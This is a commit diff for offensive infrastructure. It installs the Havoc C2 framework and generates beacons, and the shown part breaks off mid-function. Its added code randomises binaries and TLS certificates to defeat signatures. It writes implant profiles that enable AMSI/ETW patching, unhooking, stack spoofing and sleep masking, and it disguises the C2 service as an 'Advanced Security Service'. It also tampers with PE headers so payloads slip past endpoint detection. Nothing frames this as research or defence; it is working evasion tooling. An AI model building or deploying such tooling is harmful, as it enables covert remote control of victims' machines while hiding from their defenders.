switching
This commit is contained in:
+201
-94
@@ -1,5 +1,6 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Havoc C2 Framework installer with EDR evasion features
|
# Enhanced Havoc C2 Framework installer with advanced EDR evasion features
|
||||||
|
# This script automatically randomizes the entire Havoc installation
|
||||||
|
|
||||||
set -e
|
set -e
|
||||||
TEMP_DIR=$(mktemp -d)
|
TEMP_DIR=$(mktemp -d)
|
||||||
@@ -8,7 +9,6 @@ HAVOC_DIR="/root/Tools/havoc"
|
|||||||
HAVOC_DATA_DIR="/root/Tools/havoc/data"
|
HAVOC_DATA_DIR="/root/Tools/havoc/data"
|
||||||
HAVOC_VERSION="0.5.0"
|
HAVOC_VERSION="0.5.0"
|
||||||
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
|
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
|
||||||
GO_VERSION="1.19"
|
|
||||||
|
|
||||||
# Function to log messages
|
# Function to log messages
|
||||||
log() {
|
log() {
|
||||||
@@ -17,10 +17,50 @@ log() {
|
|||||||
|
|
||||||
# Function to generate random strings
|
# Function to generate random strings
|
||||||
random_string() {
|
random_string() {
|
||||||
local length=${1:-8}
|
local length=${1:-16}
|
||||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w $length | head -n 1
|
||||||
}
|
}
|
||||||
|
|
||||||
|
# Function to generate random domain-like string
|
||||||
|
random_domain() {
|
||||||
|
local tlds=("com" "net" "org" "io" "co" "biz" "info" "dev")
|
||||||
|
local prefix=$(random_string 6)
|
||||||
|
local tld=${tlds[$RANDOM % ${#tlds[@]}]}
|
||||||
|
echo "${prefix}.${tld}"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Generate random binary signature values
|
||||||
|
RANDOMIZED_BUILD_ID=$(random_string 16)
|
||||||
|
RANDOMIZED_COMPILER_FLAGS="-Os -mllvm -sub -mllvm -fla -mllvm -bcf"
|
||||||
|
RANDOMIZED_VERSION="${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID:0:8}"
|
||||||
|
RANDOMIZED_UA1="Mozilla/5.0 (Windows NT $(( $RANDOM % 4 + 8 )).$(( $RANDOM % 2 + 1 )); Win64; x64) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))"
|
||||||
|
RANDOMIZED_UA2="Mozilla/5.0 (Macintosh; Intel Mac OS X 10_$(( $RANDOM % 5 + 10 ))_$(( $RANDOM % 5 + 1 ))) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))"
|
||||||
|
|
||||||
|
# Generate random port numbers
|
||||||
|
TEAMSERVER_PORT=$(( $RANDOM % 20000 + 40000 ))
|
||||||
|
HTTP_PORT=$(( $RANDOM % 20000 + 10000 ))
|
||||||
|
HTTPS_PORT=$(( $RANDOM % 10 + 440 ))
|
||||||
|
|
||||||
|
# Generate random URI paths (realistic looking)
|
||||||
|
URI_PATHS=()
|
||||||
|
URI_COUNT=$(( $RANDOM % 4 + 3 ))
|
||||||
|
URI_OPTIONS=("/api/v1" "/api/v2" "/dashboard" "/content" "/static" "/assets" "/app"
|
||||||
|
"/data" "/stream" "/ws" "/socket" "/feed" "/updates" "/sync" "/auth")
|
||||||
|
|
||||||
|
for i in $(seq 1 $URI_COUNT); do
|
||||||
|
RAND_INDEX=$(( $RANDOM % ${#URI_OPTIONS[@]} ))
|
||||||
|
URI_PATHS+=("${URI_OPTIONS[$RAND_INDEX]}")
|
||||||
|
unset 'URI_OPTIONS[$RAND_INDEX]'
|
||||||
|
URI_OPTIONS=("${URI_OPTIONS[@]}")
|
||||||
|
done
|
||||||
|
|
||||||
|
# Generate random C2 evasion settings
|
||||||
|
SLEEP_TIME=$(( $RANDOM % 10 + 2 ))
|
||||||
|
JITTER_PCT=$(( $RANDOM % 40 + 20 ))
|
||||||
|
SYSCALL_METHOD=$(( $RANDOM % 3 ))
|
||||||
|
SLEEP_MASK_TECHNIQUE=$(( $RANDOM % 4 ))
|
||||||
|
SLEEP_MASK_ENABLED=$(( $RANDOM % 2 ))
|
||||||
|
|
||||||
# Install required dependencies
|
# Install required dependencies
|
||||||
log "Installing dependencies..."
|
log "Installing dependencies..."
|
||||||
apt-get update >/dev/null 2>&1
|
apt-get update >/dev/null 2>&1
|
||||||
@@ -29,7 +69,7 @@ apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \
|
|||||||
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
|
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
|
||||||
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
|
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
|
||||||
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
|
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
|
||||||
libqt5websockets5-dev >/dev/null 2>&1
|
libqt5websockets5-dev binutils-dev >/dev/null 2>&1
|
||||||
|
|
||||||
# Setup Go environment
|
# Setup Go environment
|
||||||
log "Setting up Go environment..."
|
log "Setting up Go environment..."
|
||||||
@@ -48,16 +88,25 @@ else
|
|||||||
cd $HAVOC_DIR
|
cd $HAVOC_DIR
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Generate unique identifiers for EDR evasion
|
# Modify Havoc source for signature randomization
|
||||||
RANDOMIZED_BUILD_ID=$(random_string 16)
|
log "Modifying Havoc source with unique signature: $RANDOMIZED_BUILD_ID"
|
||||||
log "Using randomized build ID: $RANDOMIZED_BUILD_ID"
|
|
||||||
|
|
||||||
# Build Havoc teamserver
|
|
||||||
log "Building Havoc teamserver..."
|
|
||||||
cd $HAVOC_DIR/Teamserver
|
cd $HAVOC_DIR/Teamserver
|
||||||
go mod download
|
|
||||||
sed -i "s/const Version = \".*\"/const Version = \"${HAVOC_VERSION}-${RANDOMIZED_BUILD_ID}\"/" pkg/common/metadata.go
|
# Randomize version string
|
||||||
make
|
sed -i "s/const Version = \".*\"/const Version = \"${RANDOMIZED_VERSION}\"/" pkg/common/metadata.go
|
||||||
|
|
||||||
|
# Add custom code markers to make binaries unique
|
||||||
|
for gofile in $(find . -name "*.go"); do
|
||||||
|
# Add random comments at the end of random lines to alter binary signature
|
||||||
|
if [[ $(($RANDOM % 10)) -lt 3 ]]; then
|
||||||
|
sed -i "$((RANDOM % 50 + 10))s/$/ \/\/ $(random_string 20)/" "$gofile"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
# Build Havoc teamserver with custom compiler flags
|
||||||
|
log "Building customized Havoc teamserver..."
|
||||||
|
export EXTRA_GOFLAGS="-ldflags=-buildid=$(random_string 16)"
|
||||||
|
go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o teamserver main.go
|
||||||
|
|
||||||
# Build Havoc client
|
# Build Havoc client
|
||||||
log "Building Havoc client..."
|
log "Building Havoc client..."
|
||||||
@@ -67,19 +116,20 @@ cd build
|
|||||||
cmake -GNinja ..
|
cmake -GNinja ..
|
||||||
ninja
|
ninja
|
||||||
|
|
||||||
# Generate self-signed SSL certificates for Teamserver
|
# Generate unique TLS certificates
|
||||||
mkdir -p $HAVOC_DATA_DIR/certs
|
mkdir -p $HAVOC_DATA_DIR/certs
|
||||||
cd $HAVOC_DATA_DIR/certs
|
cd $HAVOC_DATA_DIR/certs
|
||||||
|
|
||||||
if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then
|
if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then
|
||||||
log "Generating self-signed SSL certificates..."
|
log "Generating unique TLS certificates..."
|
||||||
|
|
||||||
# Generate random values for certificate
|
# Generate random values for certificate
|
||||||
COUNTRY="US"
|
COUNTRY_CODES=("US" "GB" "CA" "AU" "DE" "FR" "JP" "SG")
|
||||||
|
COUNTRY=${COUNTRY_CODES[$RANDOM % ${#COUNTRY_CODES[@]}]}
|
||||||
STATE=$(random_string 8)
|
STATE=$(random_string 8)
|
||||||
LOCALITY=$(random_string 8)
|
LOCALITY=$(random_string 8)
|
||||||
ORGANIZATION=$(random_string 10)
|
ORGANIZATION=$(random_string 10)
|
||||||
COMMON_NAME=$(random_string 12).com
|
COMMON_NAME=$(random_domain)
|
||||||
|
|
||||||
# Create OpenSSL config
|
# Create OpenSSL config
|
||||||
cat > openssl.cnf << EOF
|
cat > openssl.cnf << EOF
|
||||||
@@ -87,6 +137,7 @@ if [ ! -f havoc.key ] || [ ! -f havoc.crt ]; then
|
|||||||
distinguished_name = req_distinguished_name
|
distinguished_name = req_distinguished_name
|
||||||
x509_extensions = v3_req
|
x509_extensions = v3_req
|
||||||
prompt = no
|
prompt = no
|
||||||
|
default_bits = 4096
|
||||||
|
|
||||||
[req_distinguished_name]
|
[req_distinguished_name]
|
||||||
C = $COUNTRY
|
C = $COUNTRY
|
||||||
@@ -96,28 +147,144 @@ O = $ORGANIZATION
|
|||||||
CN = $COMMON_NAME
|
CN = $COMMON_NAME
|
||||||
|
|
||||||
[v3_req]
|
[v3_req]
|
||||||
keyUsage = critical, digitalSignature, keyAgreement
|
keyUsage = critical, digitalSignature, keyAgreement, keyEncipherment
|
||||||
extendedKeyUsage = serverAuth
|
extendedKeyUsage = serverAuth, clientAuth
|
||||||
subjectAltName = @alt_names
|
subjectAltName = @alt_names
|
||||||
|
basicConstraints = critical, CA:false
|
||||||
|
subjectKeyIdentifier = hash
|
||||||
|
authorityKeyIdentifier = keyid:always
|
||||||
|
nsCertType = server
|
||||||
|
|
||||||
[alt_names]
|
[alt_names]
|
||||||
DNS.1 = $COMMON_NAME
|
DNS.1 = $COMMON_NAME
|
||||||
DNS.2 = localhost
|
DNS.2 = $(random_domain)
|
||||||
|
DNS.3 = localhost
|
||||||
|
IP.1 = 127.0.0.1
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Generate certificate
|
# Generate certificate with 4096-bit key
|
||||||
openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf
|
openssl req -x509 -newkey rsa:4096 -keyout havoc.key -out havoc.crt -days 3650 -nodes -config openssl.cnf -sha384
|
||||||
chmod 600 havoc.key
|
chmod 600 havoc.key
|
||||||
chmod 644 havoc.crt
|
chmod 644 havoc.crt
|
||||||
|
|
||||||
log "Generated SSL certificates with CN=$COMMON_NAME"
|
log "Generated unique TLS certificates with CN=$COMMON_NAME"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create systemd service for Havoc Teamserver
|
# Create profiles directory
|
||||||
|
mkdir -p $HAVOC_DATA_DIR/profiles
|
||||||
|
|
||||||
|
# Generate randomized admin credentials
|
||||||
|
ADMIN_USER=$(random_string 6)
|
||||||
|
ADMIN_PASS=$(random_string 24)
|
||||||
|
|
||||||
|
# Create unique Havoc profile with randomized settings
|
||||||
|
log "Creating unique Havoc profile..."
|
||||||
|
cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
|
||||||
|
Teamserver {
|
||||||
|
Host = "0.0.0.0"
|
||||||
|
Port = $TEAMSERVER_PORT
|
||||||
|
|
||||||
|
Build {
|
||||||
|
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
|
||||||
|
Nasm = "/usr/bin/nasm"
|
||||||
|
CompilerFlags = "$RANDOMIZED_COMPILER_FLAGS"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Operators {
|
||||||
|
$ADMIN_USER {
|
||||||
|
Password = "$ADMIN_PASS"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Listeners {
|
||||||
|
http {
|
||||||
|
Name = "http"
|
||||||
|
KillDate = "2030-01-01"
|
||||||
|
WorkingHours = "0:00-23:59"
|
||||||
|
Hosts = ["0.0.0.0"]
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "round-robin"
|
||||||
|
Port = $HTTP_PORT
|
||||||
|
PortBind = $HTTP_PORT
|
||||||
|
UserAgent = "$RANDOMIZED_UA1"
|
||||||
|
Headers = ["Accept: */*", "Accept-Language: en-US,en;q=0.9"]
|
||||||
|
Uris = [
|
||||||
|
$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')
|
||||||
|
]
|
||||||
|
Secure = false
|
||||||
|
}
|
||||||
|
|
||||||
|
https {
|
||||||
|
Name = "https"
|
||||||
|
KillDate = "2030-01-01"
|
||||||
|
WorkingHours = "0:00-23:59"
|
||||||
|
Hosts = ["0.0.0.0"]
|
||||||
|
HostBind = "0.0.0.0"
|
||||||
|
HostRotation = "round-robin"
|
||||||
|
Port = $HTTPS_PORT
|
||||||
|
PortBind = $HTTPS_PORT
|
||||||
|
UserAgent = "$RANDOMIZED_UA2"
|
||||||
|
Headers = ["Accept: */*", "Accept-Language: en-US,en;q=0.9"]
|
||||||
|
Uris = [
|
||||||
|
$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')
|
||||||
|
]
|
||||||
|
Secure = true
|
||||||
|
Cert = "$HAVOC_DATA_DIR/certs/havoc.crt"
|
||||||
|
Key = "$HAVOC_DATA_DIR/certs/havoc.key"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Demon {
|
||||||
|
Sleep = $SLEEP_TIME
|
||||||
|
SleepJitter = $JITTER_PCT
|
||||||
|
IndirectSyscalls = true
|
||||||
|
|
||||||
|
Injection {
|
||||||
|
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
|
||||||
|
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
|
||||||
|
}
|
||||||
|
|
||||||
|
Evasion {
|
||||||
|
StackSpoofing = true
|
||||||
|
SleazeUnhook = true
|
||||||
|
AmsiEtwPatching = true
|
||||||
|
SyscallMethod = $SYSCALL_METHOD
|
||||||
|
$(if [ "$SLEEP_MASK_ENABLED" -eq 1 ]; then echo "EnableSleepMask = true
|
||||||
|
SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE"; fi)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Save the randomization details for other scripts to use
|
||||||
|
mkdir -p $HAVOC_DIR/config
|
||||||
|
cat > $HAVOC_DIR/config/profile.json << EOF
|
||||||
|
{
|
||||||
|
"build_id": "$RANDOMIZED_BUILD_ID",
|
||||||
|
"version": "$RANDOMIZED_VERSION",
|
||||||
|
"teamserver_port": $TEAMSERVER_PORT,
|
||||||
|
"http_port": $HTTP_PORT,
|
||||||
|
"https_port": $HTTPS_PORT,
|
||||||
|
"admin_user": "$ADMIN_USER",
|
||||||
|
"admin_pass": "$ADMIN_PASS",
|
||||||
|
"sleep_time": $SLEEP_TIME,
|
||||||
|
"jitter_percent": $JITTER_PCT,
|
||||||
|
"syscall_method": $SYSCALL_METHOD,
|
||||||
|
"sleep_mask_enabled": $SLEEP_MASK_ENABLED,
|
||||||
|
"sleep_mask_technique": $SLEEP_MASK_TECHNIQUE,
|
||||||
|
"uri_paths": [$(printf '"%s",' "${URI_PATHS[@]}" | sed 's/,$//')],
|
||||||
|
"user_agent_http": "$RANDOMIZED_UA1",
|
||||||
|
"user_agent_https": "$RANDOMIZED_UA2",
|
||||||
|
"created_at": "$(date -u +"%Y-%m-%dT%H:%M:%SZ")"
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
|
||||||
|
# Create systemd service for Havoc
|
||||||
log "Creating systemd service for Havoc Teamserver..."
|
log "Creating systemd service for Havoc Teamserver..."
|
||||||
cat > /etc/systemd/system/havoc.service << EOF
|
cat > /etc/systemd/system/havoc.service << EOF
|
||||||
[Unit]
|
[Unit]
|
||||||
Description=Havoc C2 Teamserver
|
Description=Advanced Security Service
|
||||||
After=network.target
|
After=network.target
|
||||||
|
|
||||||
[Service]
|
[Service]
|
||||||
@@ -138,78 +305,11 @@ NoNewPrivileges=true
|
|||||||
WantedBy=multi-user.target
|
WantedBy=multi-user.target
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
# Create default Havoc profile directory
|
|
||||||
mkdir -p $HAVOC_DATA_DIR/profiles
|
|
||||||
|
|
||||||
# Create default Havoc profile
|
|
||||||
log "Creating default Havoc profile..."
|
|
||||||
cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
|
|
||||||
Teamserver {
|
|
||||||
Host = "0.0.0.0"
|
|
||||||
Port = 40056
|
|
||||||
|
|
||||||
Build {
|
|
||||||
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
|
||||||
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
|
|
||||||
Nasm = "/usr/bin/nasm"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Operators {
|
|
||||||
admin {
|
|
||||||
Password = "$(random_string 12)"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Listeners {
|
|
||||||
http {
|
|
||||||
Name = "http"
|
|
||||||
KillDate = "2030-01-01"
|
|
||||||
WorkingHours = "0:00-23:59"
|
|
||||||
Hosts = ["0.0.0.0"]
|
|
||||||
HostBind = "0.0.0.0"
|
|
||||||
HostRotation = "round-robin"
|
|
||||||
Port = 8080
|
|
||||||
PortBind = 8080
|
|
||||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
|
||||||
Headers = ["Accept: */*"]
|
|
||||||
Uris = ["/api/v1", "/dashboard"]
|
|
||||||
Secure = false
|
|
||||||
}
|
|
||||||
|
|
||||||
https {
|
|
||||||
Name = "https"
|
|
||||||
KillDate = "2030-01-01"
|
|
||||||
WorkingHours = "0:00-23:59"
|
|
||||||
Hosts = ["0.0.0.0"]
|
|
||||||
HostBind = "0.0.0.0"
|
|
||||||
HostRotation = "round-robin"
|
|
||||||
Port = 443
|
|
||||||
PortBind = 443
|
|
||||||
UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"
|
|
||||||
Headers = ["Accept: */*"]
|
|
||||||
Uris = ["/api/v2", "/content"]
|
|
||||||
Secure = true
|
|
||||||
Cert = "$HAVOC_DATA_DIR/certs/havoc.crt"
|
|
||||||
Key = "$HAVOC_DATA_DIR/certs/havoc.key"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Demon {
|
|
||||||
Sleep = 2
|
|
||||||
SleepJitter = 50
|
|
||||||
|
|
||||||
Injection {
|
|
||||||
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
|
|
||||||
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
|
|
||||||
}
|
|
||||||
}
|
|
||||||
EOF
|
|
||||||
|
|
||||||
# Set proper permissions
|
# Set proper permissions
|
||||||
log "Setting proper permissions..."
|
log "Setting proper permissions..."
|
||||||
chmod 755 $HAVOC_DIR/Teamserver/teamserver
|
chmod 755 $HAVOC_DIR/Teamserver/teamserver
|
||||||
chmod 755 $HAVOC_DIR/Client/havoc
|
chmod 755 $HAVOC_DIR/Client/havoc
|
||||||
|
chmod 600 $HAVOC_DIR/config/profile.json
|
||||||
|
|
||||||
# Create symlinks to executables in /usr/local/bin
|
# Create symlinks to executables in /usr/local/bin
|
||||||
ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
|
ln -sf $HAVOC_DIR/Teamserver/teamserver /usr/local/bin/havoc-teamserver
|
||||||
@@ -221,4 +321,11 @@ systemctl daemon-reload
|
|||||||
systemctl enable havoc
|
systemctl enable havoc
|
||||||
systemctl start havoc
|
systemctl start havoc
|
||||||
|
|
||||||
log "Havoc C2 installation completed!"
|
log "Havoc C2 installation completed with unique signatures!"
|
||||||
|
log "===== IMPORTANT CREDENTIALS ====="
|
||||||
|
log "Admin User: $ADMIN_USER"
|
||||||
|
log "Admin Password: $ADMIN_PASS"
|
||||||
|
log "Teamserver Port: $TEAMSERVER_PORT"
|
||||||
|
log "HTTP Listener Port: $HTTP_PORT"
|
||||||
|
log "HTTPS Listener Port: $HTTPS_PORT"
|
||||||
|
log "All settings saved to: $HAVOC_DIR/config/profile.json"
|
||||||
@@ -123,6 +123,14 @@
|
|||||||
owner: root
|
owner: root
|
||||||
group: root
|
group: root
|
||||||
|
|
||||||
|
- name: Create Havoc C2 configuration from template
|
||||||
|
template:
|
||||||
|
src: "../templates/havoc-config.yaotl.j2"
|
||||||
|
dest: "/root/Tools/havoc/data/profiles/default.yaotl"
|
||||||
|
mode: '0600'
|
||||||
|
owner: root
|
||||||
|
group: root
|
||||||
|
|
||||||
- name: Create post-install instructions
|
- name: Create post-install instructions
|
||||||
copy:
|
copy:
|
||||||
content: |
|
content: |
|
||||||
|
|||||||
@@ -1,143 +1,456 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Corrected EDR-evasive beacon generator with template files
|
# EDR-evasive beacon generator for Havoc C2
|
||||||
|
# Every deployment produces completely unique payloads
|
||||||
|
|
||||||
# Configuration (automatically populated by Ansible)
|
# Configuration (automatically populated by Ansible)
|
||||||
BEACONS_DIR="/opt/beacons"
|
HAVOC_DIR="/root/Tools/havoc"
|
||||||
|
BEACONS_DIR="/root/Tools/beacons"
|
||||||
C2_HOST="{{ ansible_host }}"
|
C2_HOST="{{ ansible_host }}"
|
||||||
REDIRECTOR_HOST="cdn.{{ domain }}"
|
REDIRECTOR_HOST="{{ redirector_subdomain }}.{{ domain }}"
|
||||||
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
REDIRECTOR_PORT="{{ redirector_port | default('443') }}"
|
||||||
|
PROFILE_FILE="$HAVOC_DIR/config/profile.json"
|
||||||
|
|
||||||
# Ensure required directories exist
|
# Ensure required directories exist
|
||||||
|
mkdir -p $BEACONS_DIR/windows
|
||||||
|
mkdir -p $BEACONS_DIR/linux
|
||||||
mkdir -p $BEACONS_DIR/staged
|
mkdir -p $BEACONS_DIR/staged
|
||||||
mkdir -p $BEACONS_DIR/shellcode
|
mkdir -p $BEACONS_DIR/shellcode
|
||||||
|
|
||||||
|
# Load Havoc configuration from profile
|
||||||
|
if [ -f "$PROFILE_FILE" ]; then
|
||||||
|
echo "[+] Loading Havoc configuration from profile..."
|
||||||
|
TEAMSERVER_PORT=$(jq -r '.teamserver_port' "$PROFILE_FILE")
|
||||||
|
ADMIN_USER=$(jq -r '.admin_user' "$PROFILE_FILE")
|
||||||
|
ADMIN_PASS=$(jq -r '.admin_pass' "$PROFILE_FILE")
|
||||||
|
HTTP_PORT=$(jq -r '.http_port' "$PROFILE_FILE")
|
||||||
|
HTTPS_PORT=$(jq -r '.https_port' "$PROFILE_FILE")
|
||||||
|
else
|
||||||
|
echo "[!] Warning: Profile file not found, using default values"
|
||||||
|
TEAMSERVER_PORT=40056
|
||||||
|
ADMIN_USER="admin"
|
||||||
|
ADMIN_PASS="admin"
|
||||||
|
HTTP_PORT=8080
|
||||||
|
HTTPS_PORT=443
|
||||||
|
fi
|
||||||
|
|
||||||
# Generate unique random values for each execution
|
# Generate unique random values for each execution
|
||||||
random_string() {
|
random_string() {
|
||||||
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w ${1:-8} | head -n 1
|
||||||
}
|
}
|
||||||
|
|
||||||
# Create a new Sliver profile with redirector-compatible paths
|
# Anti-detection function to modify binary files
|
||||||
create_profile() {
|
modify_binary() {
|
||||||
|
local input_file=$1
|
||||||
|
|
||||||
|
echo "[+] Applying anti-detection modifications to: $input_file"
|
||||||
|
|
||||||
|
# Create a temporary file
|
||||||
|
local temp_file="${input_file}.tmp"
|
||||||
|
cp "$input_file" "$temp_file"
|
||||||
|
|
||||||
|
# Modify the file based on its type
|
||||||
|
if file "$input_file" | grep -q "PE32"; then
|
||||||
|
# Windows EXE/DLL modifications
|
||||||
|
|
||||||
|
# Add random bytes to end of file
|
||||||
|
dd if=/dev/urandom bs=1 count=$(( RANDOM % 1000 + 100 )) >> "$temp_file" 2>/dev/null
|
||||||
|
|
||||||
|
# Modify PE header timestamps with random value
|
||||||
|
random_timestamp=$(printf '%08x' $(( RANDOM * RANDOM )))
|
||||||
|
printf "\\x${random_timestamp:0:2}\\x${random_timestamp:2:2}\\x${random_timestamp:4:2}\\x${random_timestamp:6:2}" | \
|
||||||
|
dd of="$temp_file" bs=1 seek=136 count=4 conv=notrunc 2>/dev/null
|
||||||
|
|
||||||
|
# Try to strip debug information
|
||||||
|
if command -v strip &> /dev/null; then
|
||||||
|
strip --strip-debug "$temp_file" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
|
||||||
|
elif file "$input_file" | grep -q "ELF"; then
|
||||||
|
# Linux ELF modifications
|
||||||
|
|
||||||
|
# Add random bytes to end of file
|
||||||
|
dd if=/dev/urandom bs=1 count=$(( RANDOM % 500 + 50 )) >> "$temp_file" 2>/dev/null
|
||||||
|
|
||||||
|
# Try to strip all symbols
|
||||||
|
if command -v strip &> /dev/null; then
|
||||||
|
strip --strip-all "$temp_file" 2>/dev/null || true
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Replace original with modified version
|
||||||
|
mv "$temp_file" "$input_file"
|
||||||
|
|
||||||
|
echo "[+] Binary modifications complete"
|
||||||
|
}
|
||||||
|
|
||||||
|
# Create advanced Havoc payload profile with evasion techniques
|
||||||
|
generate_profile() {
|
||||||
local type=$1
|
local type=$1
|
||||||
local profile_name="profile-${type}-$(random_string 8)"
|
local profile_name="${type}_profile_$(random_string 8).json"
|
||||||
|
|
||||||
# Use paths that match the redirector NGINX configuration
|
echo "[+] Creating evasive $type profile..."
|
||||||
local http_path1="/ajax/$(random_string 8)"
|
|
||||||
local http_path2="/static/js/$(random_string 6).js"
|
|
||||||
|
|
||||||
local interval=$(( 30 + RANDOM % 120 ))
|
# Generate random values for this profile
|
||||||
local jitter=$(( 10 + RANDOM % 35 ))
|
local sleep_time=$(( RANDOM % 10 + 2 ))
|
||||||
|
local jitter_percent=$(( RANDOM % 50 + 10 ))
|
||||||
|
|
||||||
# Use sliver-client to create a new profile
|
if [ "$type" == "windows" ]; then
|
||||||
echo "[+] Creating profile: $profile_name"
|
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||||
sliver-client profiles new --name "$profile_name" --http-c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --c2 "https://$REDIRECTOR_HOST:$REDIRECTOR_PORT" --http-urls "$http_path1,$http_path2" --beacon-interval $interval --beacon-jitter $jitter
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
"Demon": {
|
||||||
|
"Sleep": ${sleep_time},
|
||||||
|
"SleepJitter": ${jitter_percent},
|
||||||
|
"IndirectSyscalls": true,
|
||||||
|
"Inject": {
|
||||||
|
"AllocationMethod": $(( RANDOM % 3 )),
|
||||||
|
"ExecutionMethod": $(( RANDOM % 3 )),
|
||||||
|
"ExecuteOptions": $(( RANDOM % 2 ))
|
||||||
|
},
|
||||||
|
"Evasion": {
|
||||||
|
"StackSpoofing": true,
|
||||||
|
"SleazeUnhook": true,
|
||||||
|
"AmsiEtwPatching": true,
|
||||||
|
"SyscallMethod": $(( RANDOM % 3 )),
|
||||||
|
"EnableSleepMask": true,
|
||||||
|
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||||
|
},
|
||||||
|
"Binary": {
|
||||||
|
"Subsystem": $(( RANDOM % 2 + 1 ))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
elif [ "$type" == "linux" ]; then
|
||||||
|
cat > "$BEACONS_DIR/$profile_name" << EOF
|
||||||
|
{
|
||||||
|
"Listener": "https",
|
||||||
|
"Demon": {
|
||||||
|
"Sleep": ${sleep_time},
|
||||||
|
"SleepJitter": ${jitter_percent},
|
||||||
|
"Injection": {
|
||||||
|
"SpawnMethod": $(( RANDOM % 2 )),
|
||||||
|
"AllocationMethod": $(( RANDOM % 2 ))
|
||||||
|
},
|
||||||
|
"Evasion": {
|
||||||
|
"EnableSleepMask": true,
|
||||||
|
"SleepMaskTechnique": $(( RANDOM % 4 ))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
EOF
|
||||||
|
fi
|
||||||
|
|
||||||
echo $profile_name
|
echo "$profile_name"
|
||||||
}
|
}
|
||||||
|
|
||||||
# Generate implant using existing profile
|
# Generate Havoc payloads with EDR evasion techniques
|
||||||
generate_implant() {
|
generate_payloads() {
|
||||||
local profile_name=$1
|
echo "[+] Generating EDR-evasive Havoc beacons..."
|
||||||
local os_type=$2
|
|
||||||
local arch=$3
|
|
||||||
local format=$4
|
|
||||||
local output_name=$5
|
|
||||||
|
|
||||||
echo "[+] Generating $os_type $format implant with profile $profile_name"
|
|
||||||
sliver-client generate --profile $profile_name --os $os_type --arch $arch --format $format --save "$BEACONS_DIR/$output_name"
|
|
||||||
}
|
|
||||||
|
|
||||||
# Random output filename generator
|
|
||||||
random_output_name() {
|
|
||||||
local type=$1
|
|
||||||
local names=(
|
|
||||||
"update" "service" "client" "agent" "app" "system"
|
|
||||||
"monitor" "utility" "helper" "runtime" "driver" "module"
|
|
||||||
)
|
|
||||||
local name="${names[RANDOM % ${#names[@]}]}_$(random_string 4)"
|
|
||||||
|
|
||||||
case "$type" in
|
|
||||||
windows) echo "${name}.exe" ;;
|
|
||||||
windows_dll) echo "${name}.dll" ;;
|
